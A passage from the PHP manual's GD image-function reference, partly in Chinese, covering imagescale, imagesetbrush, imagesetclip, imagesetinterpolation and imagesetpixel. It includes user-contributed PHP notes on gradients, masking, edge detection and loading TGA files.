// get the dimensions of the frame, which we'll also be using for the
// composited final image.
$width = imagesx( $frame );
$height = imagesy( $frame );

// create the destination/output image.
$img=imagecreatetruecolor( $width, $height );

// enable alpha blending on the destination image.
imagealphablending($img, true);

// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead of being transparent.
$transparent = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
imagefill( $img, 0, 0, $transparent );

// copy the thumbnail into the output image.
imagecopyresampled($img,$thumb,32,30,0,0, 130, 100, imagesx( $thumb ), imagesy( $thumb ) );

// copy the frame into the output image (layered on top of the thumbnail)
imagecopyresampled($img,$frame,0,0,0,0, $width,$height,$width,$height);

imagealphablending($img, false);

// save the alpha
imagesavealpha($img,true);

// emit the image
header('Content-type: image/png');
imagepng( $img );

// dispose
imagedestroy($img);

// done.
exit;
?>
phil at unabacus dot net 23-Apr-2008 06:47
The comment left by "doggz at mindless dot com" will cause a duplication in layering of the transparent image - AlphaImageLoader loads the image as if it were a floating layer on top of the <img> element - so your image will double up.. so don't go thinking something very strange is happening with your PHP it's the silly browser ;)

The easiest (although not the best) way to get around this is to use the CSS background property instead of an image src - because as of yet you can't change an image's src dynamically using currently supported CSS:

<div style="width:200px; height:200px; background: url(my-trans-image.php); *background:url(); *filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='my-trans-image.php', sizingMethod='scale');"></div>

The above (although not pretty) keeps the image loaded as a background for any good browser as they should ignore the starred (*) CSS items and should support Alpha PNGs natively. IE will listen to the starred items and blank out the background whilst applying it's AlphaLoader on top. Obviously you need to know the width and height of your image but you can get this using getimagesize() or just by hardcoding.

Downsides to know:

1. Unless the user has 'backgrounds enabled when printing' your image wont show up when the webpage is printed.

2. You can't stretch or shrink a background image - if you change the div's dimensions from that of the image you will stretch it in IE (due to the 'scale' property - which you can change for sake of standardness to 'crop') but you will crop it in any other browser.

3. Most browsers treat images and backgrounds differently, in load priority and in the way the user can interact with them.

Other Options:

Other methods resort to using JavaScript or Browser Detection on the Server Side.


Scale an image using the given new width and height

  • ? imagesavealpha
  • imagesetbrush ?
  • PHP Manual
  • GD 和图像处理 函数
  • Scale an image using the given new width and height

imagescale

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagescale — Scale an image using the given new width and height

说明

imagescale(
GdImage $image,
int $width,
int $height = -1,
int $mode = IMG_BILINEAR_FIXED
): GdImage|false

imagescale() scales an image using the given interpolation algorithm.

Note:

Unlike many of other image functions, imagescale() does not modify the passed image; instead, a new image is returned.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

width

The width to scale the image to.

height

The height to scale the image to. If omitted or negative, the aspect ratio will be preserved.

mode

One of IMG_NEAREST_NEIGHBOUR, IMG_BILINEAR_FIXED, IMG_BICUBIC, IMG_BICUBIC_FIXED or anything else (will use two pass).

Note: IMG_WEIGHTED4 is not yet supported.

返回值

Return the scaled image object on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

参见

  • imagecopyresized() - 拷贝部分图像并调整大小
  • imagecopyresampled() - 重采样拷贝部分图像并调整大小

User Contributed Notes

Anonymous 30-Mar-2023 02:15
Seemingly, you can't omit the width the same way you do with the height. If you write -1 for the width and specify a number for the height it will return false


为线条设置笔刷图像

  • ? imagescale
  • imagesetclip ?
  • PHP Manual
  • GD 和图像处理 函数
  • 为线条设置笔刷图像

imagesetbrush

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetbrush — 为线条设置笔刷图像

说明

imagesetbrush(GdImage $image, GdImage $brush): bool

当用特殊的颜色 IMG_COLOR_BRUSHED 或 IMG_COLOR_STYLEDBRUSHED 绘制时，imagesetbrush() 通过所有的线条函数设置要使用的笔刷图像。【注：使用笔刷图像，所画的线是由 brush 所代表的图像构成的。请参考并尝试运行 imagesetstyle() 中的例子以帮助理解。】

Caution

笔刷完成后不需要采取什么特殊动作，但如果要销毁笔刷图像（或让 PHP 销毁），不能使用 IMG_COLOR_BRUSHED 或 IMG_COLOR_STYLEDBRUSHED 颜色，除非设置了新的笔刷图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

brush

图像对象。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 和 brush 现在需要 GdImage 实例，之前需要 resource。

示例

Example #1 imagesetbrush() 示例

<?php
// Load a mini php logo
$php = imagecreatefrompng('./php.png');

// Create the main image, 100x100
$im = imagecreatetruecolor(100, 100);

// Fill the background with white
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the brush
imagesetbrush($im, $php);

// Draw a couple of brushes, each overlaying each
imageline($im, 50, 50, 50, 60, IMG_COLOR_BRUSHED);

// Output image to the browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($php);
?>

以上示例的输出类似于：

Output of example : imagesetbrush()

User Contributed Notes

brent at ebrent dot net 31-Jul-2006 10:54
Use a brush to create a thick line.

To create a 3x3 red brush:

<?php
$brush_size = 3;
$brush = imagecreatetruecolor($brush_size,$brush_size);
$brush_color = imagecolorallocate($brush,255,0,0);
imagefill($brush,0,0,$brush_color);
imagesetbrush($im,$brush);
?>

Then use imageline() or imagepolygon() with IMG_COLOR_BRUSHED as the color.

To stop using the brush, destroy it:

<?php imagedestroy($brush); ?>

The brush can also be created from an existing image.


Set the clipping rectangle

  • ? imagesetbrush
  • imagesetinterpolation ?
  • PHP Manual
  • GD 和图像处理 函数
  • Set the clipping rectangle

imagesetclip

(PHP 7 >= 7.2.0, PHP 8)

imagesetclip — Set the clipping rectangle

说明

imagesetclip(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2
): bool

imagesetclip() sets the current clipping rectangle, i.e. the area beyond which no pixels will be drawn.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x1

The x-coordinate of the upper left corner.

y1

The y-coordinate of the upper left corner.

x2

The x-coordinate of the lower right corner.

y2

The y-coordinate of the lower right corner.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

参见

  • imagegetclip() - Get the clipping rectangle

User Contributed Notes

There are no user contributed notes for this page.


Set the interpolation method

  • ? imagesetclip
  • imagesetpixel ?
  • PHP Manual
  • GD 和图像处理 函数
  • Set the interpolation method

imagesetinterpolation

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagesetinterpolation — Set the interpolation method

说明

imagesetinterpolation(GdImage $image, int $method = IMG_BILINEAR_FIXED): bool

Sets the interpolation method, setting an interpolation method affects the rendering of various functions in GD, such as the imagerotate() function.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

method

The interpolation method, which can be one of the following:

  • IMG_BELL: Bell filter.
  • IMG_BESSEL: Bessel filter.
  • IMG_BICUBIC: Bicubic interpolation.
  • IMG_BICUBIC_FIXED: Fixed point implementation of the bicubic interpolation.
  • IMG_BILINEAR_FIXED: Fixed point implementation of the bilinear interpolation (default (also on image creation)).
  • IMG_BLACKMAN: Blackman window function.
  • IMG_BOX: Box blur filter.
  • IMG_BSPLINE: Spline interpolation.
  • IMG_CATMULLROM: Cubic Hermite spline interpolation.
  • IMG_GAUSSIAN: Gaussian function.
  • IMG_GENERALIZED_CUBIC: Generalized cubic spline fractal interpolation.
  • IMG_HERMITE: Hermite interpolation.
  • IMG_HAMMING: Hamming filter.
  • IMG_HANNING: Hanning filter.
  • IMG_MITCHELL: Mitchell filter.
  • IMG_POWER: Power interpolation.
  • IMG_QUADRATIC: Inverse quadratic interpolation.
  • IMG_SINC: Sinc function.
  • IMG_NEAREST_NEIGHBOUR: Nearest neighbour interpolation.
  • IMG_WEIGHTED4: Weighting filter.
  • IMG_TRIANGLE: Triangle interpolation.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagesetinterpolation() example

<?php
// Load an image
$im = imagecreate(500, 500);

// By default interpolation is IMG_BILINEAR_FIXED, switch
// to use the 'Mitchell' filter:
imagesetinterpolation($im, IMG_MITCHELL);

// Continue to work with $im ...
?>

注释

Changing the interpolation method affects the following functions when rendering:

  • imageaffine()
  • imagerotate()

参见

  • imagegetinterpolation() - Get the interpolation method

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 08:27
Setting the interpolation does not carry through to any images created by imageaffine() or imagerotate(). It defaults to IMG_BILINEAR_FIXED and would need to be set on each generated image as required.

<?php
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );

// Rotated using IMG_NEAREST_NEIGHBOUR
$rotated = imagerotate( $image, 45, $transparent );

// Rotated using IMG_BILINEAR_FIXED
$rotated_again = imagerotate( $rotated, 45, $transparent );
?>

Setting the interpolation to IMG_NEAREST_NEIGHBOUR can help to preserve details and prevent sampling issues when rotating an image at 90 degree increments, including when rotating clockwise.

<?php
// Rotated image can appear blurred and on a slight angle.
$rotated = imagerotate( $image, -360, $transparent );

// Similar to starting Image although it may still show a background or be on a slight angle.
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );
$rotated = imagerotate( $image, -360, $transparent );
?>


设置单个像素

  • ? imagesetinterpolation
  • imagesetstyle ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设置单个像素

imagesetpixel

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesetpixel — 设置单个像素

说明

imagesetpixel(
GdImage $image,
int $x,
int $y,
int $color
): bool

imagesetpixel() 在指定坐标处绘制像素。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x

x 坐标。

y

y 坐标。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagesetpixel() 示例

A random drawing that ends with a regular picture.

<?php

$x = 200;
$y = 200;

$gd = imagecreatetruecolor($x, $y);

$corners[0] = array('x' => 100, 'y' => 10);
$corners[1] = array('x' => 0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);

$red = imagecolorallocate($gd, 255, 0, 0);

for ($i = 0; $i < 100000; $i++) {
imagesetpixel($gd, round($x), round($y), $red);
$a = rand(0, 2);
$x = ($x + $corners[$a]['x']) / 2;
$y = ($y + $corners[$a]['y']) / 2;
}

header('Content-Type: image/png');
imagepng($gd);

?>

以上示例的输出类似于：

Output of example : imagesetpixel()

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • imagecolorallocate() - 为图像分配颜色
  • imagecolorat() - 取得某像素的颜色索引值

User Contributed Notes

gerben at gerbs dot net 25-Dec-2017 02:37
Note that you don't have to use imagecolorallocate to draw pixels. Instead, you can assign colors directly, which is much faster as well:
<?php
imagesetpixel($img, $x, $y, $r << 16 | $g << 8 | $b);
?>
CR@SH 25-Feb-2014 11:27
imagesetpixel ($image, $x, $y, IMG_COLOR_BRUSHED);
guy032 at gmail dot com 03-May-2012 06:57
making images with white (or close to white) background transprent

<?
function FloodFill($im, $x, $y)
{
    $rgb = imagecolorat($im, $x, $y);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;

    $counter=0;
    $counter2=0;
    if($r >= 245){ $counter++;}
    if($g >= 245){ $counter++;}
    if($b >= 245){ $counter++;}
    if($r >= 240){ $counter2++;}
    if($g >= 240){ $counter2++;}
    if($b >= 240){ $counter2++;}

    if($counter >= 1 && $counter2 == 3){
        $background = imagecolorallocate($im, 180, 0, 255);
        imagesetpixel($im, $x, $y, $background);

        FloodFill ($im, $x, $y+1);
        FloodFill ($im, $x+1, $y);
        FloodFill ($im, $x, $y-1);
    }
}

$src = $_GET["src"];
$im = imagecreatefromjpeg($src);

// Draw border
$border = imagecolorallocate($im, 180, 0, 255);
drawBorder($im, $border, 1);

// Draw a border
function drawBorder($im, $color, $thickness = 1)
{
    $x1 = 0;
    $y1 = 0;
    $x2 = ImageSX($im) - 1;
    $y2 = ImageSY($im) - 1;

    for($i = 0; $i < $thickness; $i++)
    {
        ImageRectangle($im, $x1++, $y1++, $x2--, $y2--, $color);
    }
}

$rgb = imagecolorat($im, 0, 0);
FloodFill($im, 0, 0);
$color = imagecolorallocate($im, 180, 0, 255);
imagecolortransparent($im, $color);
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
mail AT kkapsner DOT de 07-May-2010 04:04
It IS posible to "delete" pixels from an image in PHP natively - the key-function is imageAlphaBlending:
<?php

$image = imageCreateTrueColor(101, 101);
imageSaveAlpha($image, true);

# draw a red cycle with alpha blending
$red = imageColorAllocateAlpha($image, 255, 0, 0, 30);
imageFilledEllipse($image, 50, 50, 100, 100, $red);

# disable alpha blending for deletion
imageAlphaBlending($image, false);

# paint with a complete opaque color
$trans = imageColorAllocateAlpha($image, 0, 0, 0, 127);

# you can clear every shape you like
imageFilledRectangle($image, 30, 30, 70, 70, $trans);

# enable alpha blending again
imageAlphaBlending($image, true);

# draw a green rectangle with alpha blending
$green = imageColorAllocateAlpha($image, 0, 255, 0, 40);
imageFilledRectangle($image, 40, 20, 90, 80, $green);

header("Content-Type: image/png");
imagePNG($image);

?>
cyberhorse at users dot sourceforge dot net 18-Feb-2010 07:54
Given an image $src and mask $mask, this applies the mask over the image, using different levels of transparency properly.

<?php
function image_mask(&$src, &$mask) {
    imagesavealpha($src, true);
    imagealphablending($src, false);
    // scan image pixels
    for ($x = 0; $x < imagesx($src); $x++) {
        for ($y = 0; $y < imagesy($src); $y++) {
            $mask_pix = imagecolorat($mask,$x,$y);
            $mask_pix_color = imagecolorsforindex($mask, $mask_pix);
            if ($mask_pix_color['alpha'] < 127) {
                $src_pix = imagecolorat($src,$x,$y);
                $src_pix_array = imagecolorsforindex($src, $src_pix);
                imagesetpixel($src, $x, $y, imagecolorallocatealpha($src, $src_pix_array['red'], $src_pix_array['green'], $src_pix_array['blue'], 127 - $mask_pix_color['alpha']));
            }
        }
    }
}
?>

If your mask is reversed, change 127 - $mask_pix_color['alpha'] with just $mask_pix_color['alpha']
caffinated 28-Aug-2009 05:21
Want to have some fun with this function?  How about edge detection! (ported from http://bitecode.co.uk/2008/07/edge-detection-in-python/)

<?php
function edge($input, $output)
{
  $in_im = imageCreateFromJpeg($input);
  $gx = array(array(-1, 0, 1), array(-2, 0, 2), array(-1, 0, 1));
  $gy = array(array(-1, -2, -1), array(0, 0, 0), array(1, 2, 1));
  $x = imagesx($in_im);
  $y = imagesy($in_im);
  $out_im = imagecreatetruecolor($x, $y);
  $colors = array(255 => imagecolorallocate($out_im, 255, 255, 255));
  for ($row = 1; $row < $x; $row++)
  {
    for ($col = 1; $col < $y; $col++)
    {
      $eyedropper =imagecolorat($in_im, $x, $y);
      $color =imagecolorsforindex($in_im, $eyedropper);
      $pxval = ($color['red'] + $color['green'] + $color['blue']) / 3;
      $pixel_gx = $pixel_gy = 0;
      for ($i = -1; $i < 2; $i++)
      {
        for ($j = -1; $j < 2; $j++)
        {
          $eyedropper =imagecolorat($in_im, $row+$i, $col+$j);
          $color =imagecolorsforindex($in_im, $eyedropper);
          $val = ($color['red'] + $color['green'] + $color['blue']) / 3;
          $pixel_gx += $gx[$i+1][$j+1] * $val;
          $pixel_gy += $gy[$i+1][$j+1] * $val;
        }
      }
      $pixel = sqrt($pixel_gx * $pixel_gx + $pixel_gy * $pixel_gy);
      $pixel = abs(255 - (int)$pixel);
      if (!isset($colors[$pixel])) $colors[$pixel] = imagecolorallocate($out_im, $pixel, $pixel, $pixel);
      imageSetPixel($out_im, $row, $col, $colors[$pixel]);
    }
  }
  imagejpeg($out_im,$output, 75);
}

edge('input.jpg', 'output.jpg');

?>
aelitadelarobia at gmail dot com 15-Aug-2009 12:56
another gradient example that can do horizontal or vertical gradients

<?php
$width=$_GET['width'];
$height=$_GET['height'];
$starts=explode(",",$_GET['startcolor']);
$ends=explode(",",$_GET['endcolor']);
    $rstart=$starts[0];
    $gstart=$starts[1];
    $bstart=$starts[2];
    $rend=$ends[0];
    $gend=$ends[1];
    $bend=$ends[2];
    $r=$rstart;
    $g=$gstart;
    $b=$bstart;
$bigger=imagecreatetruecolor($width,$height);
for ($y=0;$y<=265;$y++) {
    if ($mode == 'horiz') { //if doing a horizontal gradient, reset to the starting color every row
        $r=$rstart;
        $g=$gstart;
        $b=$bstart;
    }
    for ($x=0;$x<=464;$x++) {
        imagesetpixel($bigger,$x,$y,imagecolorallocate($bigger,$r,$g,$b));
        if ($mode=="horiz") {
            if ($r != $rend) {
                $r=$r+(($rend-$rstart)/$width);
            }
            if ($g != $gend) {
                $g=$g+(($gend-$gstart)/$width);
            }
            if ($b != $bend) {
                $b=$b+(($bend-$bstart)/$width);
            }
        }
    }
    if ($mode == "vert") {
        if ($r != $rend) {
            $r=$r+(($rend-$rstart)/$height);
        }
        if ($g != $gend) {
            $g=$g+(($gend-$gstart)/$height);
        }
        if ($b != $bend) {
            $b=$b+(($bend-$bstart)/$height);
        }
    }
}
header("Content-type: image/jpeg");
header('Content-Disposition: inline; filename="gradient.jpg"');

imagejpeg($bigger,NULL,99);
imagedestroy($bigger);
?>
CPHaxer 25-Feb-2009 01:35
Sorry for the long intro of my function, but i just want to tell how it works and - how silly sometimes the ideas are to make such functions. Have fun ;D

<?php

  //@FunctionName:    drawPlot
  //@Parameters:      drawPlot(img &$image, int $red, int $green, int $blue, int $x, int $y)
  //
  //                  img $image
  //                    The Image it will draw on. The Image will be modified; there is no return value.
  //
  //                  int $red, int $green, int $blue
  //                    The Colorvalues to draw with
  //
  //                  int $x, int $y
  //                    The Location to draw the Plot.
  //                    And this is the Mainpart, because $x and $y
  //                    NEED NOT be rounded!
  //                    If you want to make a Plot at [253.643891, 482];
  //                    It will draw the Plot there. Exact at the Coordinates.
  //                    You could use this to make smooth lines.
  //                    They have rational Coordinates, too.
  //
  //@Author:          Alexander Rath (*Feb 9th, 1996 ; 13 Years old)
  //
  //@Idea:            We have in Math Geometrie now. And as the only Computerfreak
  //                  In the class, i asked me: "How would it be, to mirror something
  //                  At a NOT FLAT LINE."
  //                  So I started thinking about it. First i tought about degresses - Nah!
  //                  Then i saw:
  //                  A point to mirror, has the SHORTEST way to the Line;
  //                  so i just needed to make the result smooth.
  //                  Unlike the other ways to draw pixels.
  //                                ~I started developing this:
  // PS: Sorry for bad english ( I am german )

  //Lets create a TrueColor Image Resource
  $image = imagecreatetruecolor(640, 480);

  //Lets make it Alpha
  imagealphablending($image, true);
  imagesavealpha($image, true);

  //...with White Background to draw on.
  imagefilledrectangle($image, 0, 0, 640, 480, imagecolorallocate($image, 255, 255, 255));

  //This is my little "Example"-Script
  for($x = 0; $x <= 640; $x = $x + 0.01) {
    $y = $x / (tan($x) + 1);
    drawPlot($image, 0, 0, 0, $x, $y);
  }

  header("Content-type: image/png");
  imagepng($image);

  function drawPlot(&$func_image, $func_red, $func_green, $func_blue, $func_x, $func_y) {
    $func_Right = $func_x - floor($func_x);
      $func_Left = 1 - $func_Right;

      $func_Bottom = $func_y - floor($func_y);
      $func_Top = 1 - $func_Bottom;

    $func_RightAlpha = $func_Right * 127;
    $func_LeftAlpha = $func_Left * 127;

    $func_LeftTop = $func_LeftAlpha * $func_Top;
    $func_RightTop = $func_RightAlpha * $func_Top;
    $func_LeftBottom = $func_LeftAlpha * $func_Bottom;
    $func_RightBottom = $func_RightAlpha * $func_Bottom;

    $func_x = floor($func_x);
    $func_y = floor($func_y);

    imagesetpixel($func_image, $func_x, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftTop));
    imagesetpixel($func_image, $func_x + 1, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightTop));
    imagesetpixel($func_image, $func_x + 1, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightBottom));
    imagesetpixel($func_image, $func_x, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftBottom));
  }

?>

Have fun ;D
Scott Evernden (doctor3d at gmail) 19-Dec-2008 05:00
Re: imagecreatefromtga() .. I just did some testing with what I think are valid Targa-24 and Targa-32 bit images, and modified the inner logic as follows:

<?php
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 7;
            $g = ($word & 0x03E0) >> 2;
            $b = ($word & 0x001F) << 3;
            $a = ($word & 0x8000) ? 127 : 0;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);         }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - BBBBBBBB GGGGGGGG RRRRRRRR
        {
            $r = fileint($data, $pointer, 1);
            $b = fileint($data, $pointer+1, 1);
            $g = fileint($data, $pointer+2, 1);
            $color = imagecolorallocate($image, $r, $g, $b);
            imagesetpixel($image, $x, $y, $color);
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA
        {
            $b = fileint($data, $pointer, 1);
            $g = fileint($data, $pointer+1, 1);
            $r = fileint($data, $pointer+2, 1);
            $a = (255 - fileint($data, $pointer+3, 1)) >> 1;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);
        }
?>

The red and blue tint issue seems to be fixed by this...
mm 14-Dec-2008 06:30
@ Scott Evernden

Scott, your function works great for uncompressed TGA image files, except the results for TGA 32 with alpha don't come out right, at least in my tests. If the alpha is all white, the resulting image comes out with a red tint. If black, the resulting image has a blue tint. I don't know how to make it just ignore the alpha, but that would be handy...
Anonymous 15-Jul-2008 09:41
This snippet creates a gradient images depending on the value of RGB components. Gradients allow your page to have a shadow effect.

<?php
try{
   if(!$image=imagecreatetruecolor(50,10)){
     throw new Exception('Error creating image');
   }

   for($y=0;$y<10;++$y)
      {
      $color=imagecolorallocate($image, 75+($y*5),75+($y*11),75+($y*9));
      for($x=0;$x<50;++$x)
         {
         imagesetpixel($image,$x,$y,$color);
         }
      }

   //header("Content-type: image/jpeg");
   imagejpeg($image,'footerShadow.jpg');
   // free memory
   imagedestroy($image);

}
catch(Exception $e){
   echo $e->getMessage();
   exit();
}
?>
Scott Evernden (doctor3d at gmail) 30-Apr-2008 03:44
My last note doesn't do alpha properly, so make the following change to the appropriate lines:

$r = ($word & 0x7C00) >> 7;
$g = ($word & 0x03E0) >> 2;
$b = ($word & 0x001F) << 3;
$a = ($word & 0x8000) ? 127 : 0;
$color = imagecolorallocatealpha($image, $r, $g, $b, $a);
imagesetpixel($image, $x, $y, $color);
Scott Evernden (doctor3d at gmail) 25-Apr-2008 06:25
here's my version of imagecreatefromtga() that's been tested to work for targa 16 .. adapted from offering by zehao dot chang at gmail dot com

function imagecreatefromtga($filename)
{
    $data = file_get_contents($filename);

    // Extract header information
    $string_length = fileint($data, 1, 1);
    $data_type = fileint($data, 2, 1);
    $width = fileint($data, 12, 2);
    $height = fileint($data, 14, 2);
    $bits_per_pixel = fileint($data, 16, 1);

    $bytes_per_pixel = (int) $bits_per_pixel / 8;

    // Currently only supporting RGB Data type
    switch ($data_type)        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:     // Uncompressed RGB image
            break;
        case 0:     // No attached image data
        case 1:     // Uncompressed color-mapped image
        case 3:     // Uncompressed black and white image
        case 9:     // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $x = 0;  $y = $height - 1;

    $image = imagecreatetruecolor($width, $height);

    while ($pointer < strlen($data))
    {
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 10;
            $g = ($word & 0x03E0) >> 5;
            $b = ($word & 0x001F);
            imagesetpixel($image, $x, $y, $r << 19 | $g << 11 | $b << 3);
        }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer, 3));
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer + 1, 3));
        }

        if (++$x == $width)
        {
            $y--;
            $x = 0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

function fileint($data, $pos, $len)
{
    return base_convert(bin2hex(strrev(substr($data, $pos, $len))), 16, 10);
}
Gusts Kaksis 13-Apr-2007 07:29
This code generate a simple colortable - not a very acurate one (it would be good to define fade of color - more fading)

<?php
set_time_limit(200);
/*
Custommize this to see some nice changes:
*/
$width = 360;   // degrees
$height = 18;   // byte
$offset = -60;    // offset of color hue

/*
Main programm:
Here comes transformations - width to degrees and height to intesity
*/
$w2deg = $width/360;
$h2byte = $height/255;
$byte2deg = 255/360;
$im = imagecreatetruecolor($width,$height);
for ($x = 0; $x < $width; $x ++){
  /*
  Transform X to degrees
  */
  $x_pos = $x/$w2deg;
  /*
  Intensity position (where max intensity is 255) on 360 degree scale.
  0 = red
  1 = green
  2 = blue
  */
  $rgb_pos[0] = sin(deg2rad($x_pos) - deg2rad($offset + 0));
  $rgb_pos[1] = sin(deg2rad($x_pos) - deg2rad($offset + 120));
  $rgb_pos[2] = sin(deg2rad($x_pos) - deg2rad($offset + 240));
  /*
  Calculate intesity at current point 0 - 255
  */
  $rgb_col[0] = 127 + 127 * $rgb_pos[0];
  $rgb_col[1] = 127 + 127 * $rgb_pos[1];
  $rgb_col[2] = 127 + 127 * $rgb_pos[2];

  /*
  White -> color -> Black loop
  */
  for ($y = 0; $y < $height; $y ++){
    /*
    Transform Y to intensity (-255 to 255)
    */
    $y_pos = -255 + ($y/$h2byte) * 2;
    $rgb_out[0] = $rgb_col[0] - $y_pos;
    $rgb_out[1] = $rgb_col[1] - $y_pos;
    $rgb_out[2] = $rgb_col[2] - $y_pos;

    /*
    If we go over 255 or under 0 we normalize it
    */
    foreach($rgb_out as $key => $col){
      if ($col > 255){
        $rgb_out[$key] = 255;
      } else if ($col < 0){
        $rgb_out[$key] = 0;
      }
    }
    /*
    Put a pixel
    */
    $col = imagecolorallocate($im,$rgb_out[0],$rgb_out[1],$rgb_out[2]);
    imagesetpixel($im,$x,$y,$col);
  }
}
/*
Test output
*/
imagejpeg($im,'colortable.jpg');
echo '<img src="colortable.jpg">';
?>
zehao dot chang at gmail dot com 06-Apr-2006 01:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
    $handle = fopen( $filename, 'rb' );
    $data = fread( $handle, filesize( $filename ) );
    fclose( $handle );

    // Extract header information
    $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
    $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
    $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
    $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
    $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

    // Currenly I'm only supporting RGB Data type
    switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:        // Uncompressed RGB image
            break;
        case 0:        // No attached image data
        case 1:        // Uncompressed color-mapped image
        case 3:        // Uncompressed black and white image
        case 9:        // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $bytes_per_pixel = (int) $bits_per_pixel/8;
    $x = 0;  $y = $height;

    $image = imagecreatetruecolor($width, $height);

    while ( $pointer < strlen($data) )
    {
        if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
            $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
            $b = base_convert( $low_byte & 0x1F, 16, 10);
            imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
        }
        else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
        }
